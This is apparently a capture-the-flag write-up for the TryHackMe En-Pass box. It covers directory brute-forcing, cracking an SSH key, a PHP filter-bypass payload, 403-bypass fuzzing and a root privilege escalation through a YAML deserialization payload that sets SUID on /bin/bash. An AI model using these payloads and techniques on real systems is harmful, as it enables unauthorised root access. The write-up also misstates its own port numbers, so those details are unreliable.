En-Pass TryHackMe Writeup

10 minute read

bookstore

En-pass is a medium rated Linux box on Tryhackme by kiransau. We obtain a encrpyted private key on the webserver after bruteforcing for directories and files using gobuster. Password for that key is obtained after passing the checks implemented on reg.php file and at last, user for the box was obtained from bypassing a 403 page. On the box, cronjob was exploited to get a shell on the box as root.

Port Scan

All Port Scan

[email protected]:~/Documents/tryhackme/enpass$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.32s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8001/tcp open  vcom-tunnel

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu Feb 11 07:46:51 2021 -- 1 IP address (1 host up) scanned in 34.06 seconds

Detail Scan

[email protected]:~/Documents/tryhackme/enpass$ cat nmap/detail 
# Nmap 7.80 scan initiated Thu Feb 11 07:47:06 2021 as: nmap -p22,8001 -sC -sV -oN nmap/detail 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up (0.32s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:bf:6b:1e:93:71:7c:99:04:59:d3:8d:81:04:af:46 (RSA)
|   256 40:fd:0c:fc:0b:a8:f5:2d:b1:2e:34:81:e5:c7:a5:91 (ECDSA)
|_  256 7b:39:97:f0:6c:8a:ba:38:5f:48:7b:cc:da:72:a8:44 (ED25519)
8001/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: En-Pass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 11 07:47:37 2021 -- 1 IP address (1 host up) scanned in 30.41 seconds

We have only two ports open. SSH is running on port 80 and a HTTP server is running on port 8081 and the banner is telling us this is a ubuntu box. Since there is not much to look into the SSH service, let us start the enumeration with HTTP service on port 8001.

HTTP service on Port 8001

1 On the homepage, we can see lovely pictures of temple from Patan Durbar Square, Kathmandu Nepal.

Directory and file bruteforcing using gobuster

Root directory

[email protected]:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.86.50:8001
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt
[+] Timeout:        10s
===============================================================
2021/02/12 16:44:46 Starting gobuster
===============================================================
/web (Status: 301)
/index.html (Status: 200)
/reg.php (Status: 200)
/403.php (Status: 403)
/zip (Status: 301)
/server-status (Status: 403)
===============================================================
2021/02/12 16:48:45 Finished
===============================================================

On /web

[email protected]:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.86.50:8001/web/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php,html
[+] Timeout:        10s
===============================================================
2021/02/12 16:55:46 Starting gobuster
===============================================================
/resources (Status: 301)
===============================================================
2021/02/12 17:02:38 Finished
===============================================================

On /web/resources

[email protected]:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/resources/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.86.50:8001/web/resources/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/12 17:08:55 Starting gobuster
===============================================================
/infoseek (Status: 301)
===============================================================
2021/02/12 17:09:17 Finished
===============================================================
===============================================================

On /web/resources/infoseek/

[email protected]:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/resources/infoseek/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```console
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.86.50:8001/web/resources/infoseek/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/12 17:09:17 Starting gobuster
===============================================================
/configure (Status: 301)
===============================================================
2021/02/12 17:10:18 Finished
===============================================================
===============================================================

On /web/resources/infoseek/configure/

[email protected]:~/Documents/tryhackme/enpass$ gobuster dir -u http://10.10.86.50:8001/web/resources/infoseek/configure/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.86.50:8001/web/resources/infoseek/configure/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/02/12 17:10:18 Starting gobuster
===============================================================
/key (Status: 200)
===============================================================
2021/02/12 17:12:20 Finished
===============================================================

visiting /web/resources/infoseek/configure/ key

[email protected]:~/Documents/tryhackme/enpass/zip$ curl http://10.10.86.50:8001/web/resources/infoseek/configure/key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,3A3DBCAED659E70F7293FA98DB8C1802

V0Z7T9g2JZvMMhiZ6JzYWaWo8hubQhVIu3AcrxJZqFD0o2FW1K0bHGLbK8P+SaAc
9plhOtJX6ZUjtq92E/sinTG0wwc94VmwiA5lvGmjUtBjah4epDJs8Vt/tIpSTg8k
28ef1Q8+5+Kl4alJZWNF0RVpykVEXKqYw3kJBqQDTa4aH75MczJGfk4TY5kdZFO3
tPVajm46V2C/9OrjOpEVg2jIom+e4kJAaJdB7Jr7br3xoaYhe5YEUiSGM8YD7SUZ
................................................................
................................................................
om679j9qdIP7O8m3PK0Wg/cSkjdj0vRxT539tAY1+ci99FXnO1Touo7mlaA4eRTK
LQLmzFcucQODcm3FEy18doT2llDTyloD2PmX+ipzB7mbdqw7pUXPyFTnGZoKrnhM
27L629aKxoM19Mz0xP8BoQMcCOCYklIw1vkaiPgXAYkNXXtBzwWn1SFcU57buaED
CJCnh3g19NZ/VjJ1zERJLjK1U1l/RtlejISAB35AYFUnKDG3iYXLRP3iT/R22BMd
z4uSYN10O1nr4EppAOMtdSdd9PJuwxKN/3nJvymMf3O/MmC/8DJOIyadZzEw7EbP
iU5caghFrCuuhCagiwYr+qeKM3BwMUBPeUXVWTCVmFkA7jR86XTMfjkD1vgDFj/8
-----END RSA PRIVATE KEY-----

We get a encrpyted private key.

Trying to decrypt the key using john

Using ssh2john to convert into hash

[email protected]:~/Documents/tryhackme/enpass$ locate ssh2john
/opt/john/ssh2john.py
[email protected]:~/Documents/tryhackme/enpass$ /opt/john/ssh2john.py key > hash
[email protected]:~/Documents/tryhackme/enpass$ john hash --wordlist=/usr/share/wordlists/rockyou.txt 
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:12 DONE (2021-02-12 17:21) 0g/s 1169Kp/s 1169Kc/s 1169KC/s *7¡Vamos!
Session completed. 

And the password was not cracked by john as it was not available on rockyou.txt.

Visiting /zip

2 We get a list of zip files. There are about 100 zip files. As we can see on the picture, all the zip files have exact date of modification and size, except the file a.zip.

Downloading and extracting the zip files

Downloading a.zip first

3

Extracting the content

4 As I was manually extracting the zip files, all of the zip files have a file called a inside them and the content on the file was sadman.

Downloading and extracting remaining zip files

5 This went on and all I got was sadman.

This was a dead end. So, lets continue with our enumeration.

Visiting /reg.php

6

Checking the source

7 There is a PHP code with some checks implemented. And the code says we will get what we need if we pass the checks being implemented.

PHP code

<?php
if($_SERVER["REQUEST_METHOD"] == "POST"){
   $title = $_POST["title"];
   if (!preg_match('/[a-zA-Z0-9]/i' , $title )){
          $val = explode(",",$title);
          $sum = 0;
          for($i = 0 ; $i < 9; $i++){
                if ( (strlen($val[0]) == 2) and (strlen($val[8]) ==  3 ))  {
                    if ( $val[5] !=$val[8]  and $val[3]!=$val[7] ) 
                        $sum = $sum+ (bool)$val[$i]."<br>"; 
                }
          }

          if ( ($sum) == 9 ){
              echo $result;//do not worry you'll get what you need.
              echo " Congo You Got It !! Nice ";
            }
                    else{
                      echo "  Try Try!!";
                    }
          }
          else{
            echo "  Try Again!! ";
          }     
  }

The condition is that our POST variable title should not contain any alphanumeric characters. After that explode with , which will break our title variable into arrays. Looking at the for loop, we have to pass the title variable such that there will be 9 element in the array. So to do that, we have to use 8 commas (,) on our title variable and few simple check are being implemented afterwards.

So considering all the checks the final payload will be

$title = $$,!,@,#,$,^,&,*,(((

Submiting the payload

8 And we get the password. Now we can try if this is the password for that key.

Trying to decrypt the key with the obtained password

[email protected]:~/Documents/tryhackme/enpass/zip$ openssl rsa -in=key
Enter pass phrase for key:
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAxxRs4bP1v4b2ELl1IBy6tdeVjbbc4VpdV85ZCDLJLPjO6+1P
aLnO4tgcpz9YQiSpwXmrcfzODwdzxJ9oBvmUnd/98lDtsXpdIaRytcvbjXfJUQWP
MfXJ2ofsuGE2CO9JdzbOw/t9NAQQvLlK+1m16jTU52DMwFDIDWmanOy+bl7WBwGx
CHOzuiGbAXtk67BICfR17VYpqbakEKZuVmzljmoHnFHZl4rIlhbH8b9upBEJwQdt
................................................................
................................................................
/vjBzbOlu2VMpOEL6QRhzsZD1M9aIWBo7Ey6dNI5geLKVaiYcelJ+jGBhyhox5X5
UPvvWg1lQL5jS9VTf88F8d5avu8O6KC3mE0bT5veZGxUa63Tfi+y9yTWME89sRb9
SYPufkpAO/yqpBgawGclb2BdAoGAcTKSY5ERq5sUoP5Q7UgW/ZlKDo4qcBHXHh6R
kXt26ogbRerV1UW2F+EBeqmd/wa/UJhE7IE96cfxW52QnsrsMdpVw2aFb07PxYGy
z9dzQKSuv8esKUKGpbaxwwwE7EkqysYzeTlwhxpeLOXsZHi9g+ewDBl0wwHoPZw6
IO0hR4sCgYBIKx60fT8jUpXm5GhZjWyf3atT7fY/AvWUX2UBPACsRR0H5p+p56bO
dc8iYpxopgnimI61wpcszH/rFxBo1tOKIzxppgV/0XlGD7r84wo1pTs3tOZUwUt+
fAqK6TY8jOOWhiP2KQJ/pCB2Vu+/Fzi3wxSxy1r3rgIrGILV6vARqQ==
-----END RSA PRIVATE KEY-----

And we successfully decrypt the key. Since the SSH is open, we can try and login with this private key, but the problem is that we do not have a username yet.

I have spent a fair amount of time here.

Bruteforcing the username

I have used the namelist from the Seclists trying to guess the user on the box.

[email protected]:~/Documents/tryhackme/enpass/zip$ wc -l /usr/share/wordlists/Seclists/Usernames/Names/names.txt 
10164 /usr/share/wordlists/Seclists/Usernames/Names/names.txt

But I was unsuccessful.

Using Public Exploit

According to the output of the Nmap, the version of SSH running on the box is OpenSSH 7.2p2 and this version was vulnerable to user enumeration, but still it gave so many false positives.

9

Checking /403.php

11

Looking at the page, It looked like we have to bypass this forbidden 403 to get what we are looking for, i.e. username. And also looking at the hint provided by the creator, it seems to be the right path.

10 So I manually tried bunch of custom header and things but was not able to bypass the check. Then I searched and downloaded few github tools which try multiple payloads to try and bypass the 403 error. From those tools, one seem to get what I wanted and the check was bypassed.

Fuzzing with 403fuzzer

Cloning the repo

[email protected]:~/Documents/tryhackme/enpass$ git clone https://github.com/intrudir/403fuzzer
Cloning into '403fuzzer'...
remote: Enumerating objects: 113, done.
remote: Counting objects: 100% (113/113), done.
remote: Compressing objects: 100% (107/107), done.
remote: Total 113 (delta 45), reused 10 (delta 4), pack-reused 0
Receiving objects: 100% (113/113), 31.55 KiB | 145.00 KiB/s, done.
Resolving deltas: 100% (45/45), done.

Checking the options

[email protected]:~/Documents/tryhackme/enpass/403fuzzer$ ls
403fuzzer.py  functions.py  header_payloads.txt  README.md  url_payloads.txt
[email protected]:~/Documents/tryhackme/enpass/403fuzzer$ python 403fuzzer.py -h
usage: 403fuzzer.py [-h] [-u URL] [-c COOKIES] [-p PROXY] [-hc HC] [-hl HL]

use this script to fuzz endpoints that return a 401/403

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Specify the target URL
  -c COOKIES, --cookies COOKIES
                        Specify cookies to use in requests. (e.g., --cookies "cookie1=blah; cookie2=blah")
  -p PROXY, --proxy PROXY
                        Specify a proxy to use for requests (e.g., http://localhost:8080)
  -hc HC                Hide response code from output, single or comma separated
  -hl HL                Hide response length from output, single or comma separated

It is nice that it has option for proxy. Now we can analyse the whole traffic using burpsuite.

Running the exploit

12 The exploit was running and I was observing the response on the burpsuite. And I get a different reponse length with status code 200. 13 And we get the username. So, lets try and login using the private key that we have obtained before.

Shell as imsau

14 And we get a shell on the box.

Privilege Escalation

I ran linpeas first and did not get that much information from it. So as I was manually looking through different directories, I found a script directory on /opt.

[email protected]:/opt/scripts$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Jan 31 19:40 .
drwxr-xr-x 3 root root 4096 Jan 31 16:34 ..
-r-xr-xr-x 1 root root  250 Jan 31 19:40 file.py

Content of file.py

#!/usr/bin/python
import yaml


class Execute():
        def __init__(self,file_name ="/tmp/file.yml"):
                self.file_name = file_name
                self.read_file = open(file_name ,"r")

        def run(self):
                return self.read_file.read()

data  = yaml.load(Execute().run())

It loads the content of file /tmp/file.yml and passes to yaml.load() function.

Checking if /tmp/file exists

[email protected]:/opt/scripts$ ls -la /tmp
total 28
drwxrwxrwt  7 root root 4096 Feb 12 17:52 .
drwxr-xr-x 23 root root 4096 Feb 12 16:37 ..
drwxrwxrwt  2 root root 4096 Feb 12 16:37 .font-unix
drwxrwxrwt  2 root root 4096 Feb 12 16:37 .ICE-unix
drwxrwxrwt  2 root root 4096 Feb 12 16:37 .Test-unix
drwxrwxrwt  2 root root 4096 Feb 12 16:37 .X11-unix
drwxrwxrwt  2 root root 4096 Feb 12 16:37 .XIM-unix

And there is no /tmp/file.yml.

This means that we can create a file called /tmp/file.yml with arbitary content and this content will be passed to yaml.load() function. I checked online and found that this can be used to execute code on the box. This can be visualized as desearialization of untrusted user input.

Even though this code was vulnerable, we must be somehow able to execute this script as root.

Checking sudo -l

[email protected]:/opt/scripts$ sudo -l
[sudo] password for imsau: 

And we are prompted for a password which we do not have currently. So, I decided to upload pspy and check if there are any cron jobs running on the box.

Running PSPY on the box

15 We can notice few things on this image. There is a cronjob which is being executed by root every minute. It executes the script /opt/scripts/file.py, removes the file /tmp/file.yml, changes the owner of the file /tmp/file.yml and again executes and deletes it. It’s kind of strange to be honest. But what we can do is make a file with our malicious payload and run a infinite loop which copies this malicious payload to /tmp/file.yml.

Content of shell.yml

!!python/object/apply:os.system ["chmod 4777 /bin/bash"]

We just set the SUID bit on the /bin/bash binary.

Executing infinite loop and watching the binary using watch

16 And after a minute or so, the bash binary has SUID bit set on it.

Getting a root shell

[email protected]:/tmp$ /bin/bash -p
bash-4.3# id
uid=1002(imsau) gid=1002(imsau) euid=0(root) groups=1002(imsau)
bash-4.3# 

And we are root.

Reading Flags

17

Having trouble with the writeup and need help, do not hesitate to ping me on twitter.